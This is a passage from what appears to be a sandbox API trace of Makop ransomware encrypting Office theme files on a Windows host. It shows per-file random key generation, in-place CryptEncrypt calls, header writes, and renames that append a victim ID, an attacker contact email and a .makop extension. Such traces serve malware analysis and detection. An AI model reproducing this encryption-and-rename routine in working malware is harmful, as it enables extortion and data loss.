hHeap=0x48a0000) returned 1 [0099.289] GetProcessHeap () returned 0x48a0000 [0099.289] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.289] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0099.289] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.294] CloseHandle (hObject=0x138) returned 1 [0099.294] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0099.294] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF") returned 77 [0099.294] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.296] GetProcessHeap () returned 0x48a0000 [0099.296] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.296] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.296] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.296] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0099.300] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.300] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.300] GetProcessHeap () returned 0x48a0000 [0099.300] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.300] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.301] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.301] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.301] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.301] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.301] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.302] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.302] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.302] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.302] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.302] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.302] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x239, lpOverlapped=0x0) returned 1 [0099.302] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x240, dwBufLen=0x240 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x240) returned 1 [0099.302] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.303] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x240, lpOverlapped=0x0) returned 1 [0099.303] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.303] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.303] SetEndOfFile (hFile=0x138) returned 1 [0099.319] GetProcessHeap () returned 0x48a0000 [0099.319] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.319] GetProcessHeap () returned 0x48a0000 [0099.319] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.319] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0099.321] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.323] CloseHandle (hObject=0x138) returned 1 [0099.323] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0099.323] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0099.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.324] GetProcessHeap () returned 0x48a0000 [0099.324] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.324] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.324] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.324] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0099.329] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.329] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.329] GetProcessHeap () returned 0x48a0000 [0099.329] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.329] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.329] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.329] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.329] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.329] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.330] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.330] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.330] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.331] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.331] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.331] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.331] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xcf7b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xcf7b, lpOverlapped=0x0) returned 1 [0099.333] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xcf80, dwBufLen=0xcf80 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xcf80) returned 1 [0099.333] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.334] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xcf80, lpOverlapped=0x0) returned 1 [0099.334] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.334] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xd054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.334] SetEndOfFile (hFile=0x138) returned 1 [0099.352] GetProcessHeap () returned 0x48a0000 [0099.352] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.352] GetProcessHeap () returned 0x48a0000 [0099.352] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.352] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0099.352] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.354] CloseHandle (hObject=0x138) returned 1 [0099.354] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0099.354] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0099.354] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0099.355] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE") returned 62 [0099.355] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*") returned 66 [0099.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0099.355] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.355] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0099.355] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0099.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.357] GetProcessHeap () returned 0x48a0000 [0099.358] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.358] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.358] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.358] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.362] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.362] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.362] GetProcessHeap () returned 0x48a0000 [0099.362] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0099.362] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0099.362] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.362] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0099.363] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0099.363] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0099.363] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0099.363] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0099.363] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0099.364] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.364] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.364] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.364] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa2c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xa2c, lpOverlapped=0x0) returned 1 [0099.364] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xa30, dwBufLen=0xa30 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xa30) returned 1 [0099.364] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.364] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xa30, lpOverlapped=0x0) returned 1 [0099.364] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.364] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xb04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.365] SetEndOfFile (hFile=0x138) returned 1 [0099.372] GetProcessHeap () returned 0x48a0000 [0099.372] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0099.372] GetProcessHeap () returned 0x48a0000 [0099.373] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0099.373] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0099.373] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0099.378] CloseHandle (hObject=0x138) returned 1 [0099.378] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x212c4b00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d2019f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x212c4b00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x101e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE.ELM", cAlternateFileName="")) returned 1 [0099.378] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM") returned 73 [0099.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0099.379] GetProcessHeap () returned 0x48a0000 [0099.379] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0099.379] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0099.379] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0099.379] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0099.380] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0099.380] GetProcessHeap () returned 0x48a0000 [0099.380] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0099.380] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0099.380] CryptDestroyKey (hKey=0x48c7168) returned 1 [0099.380] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: 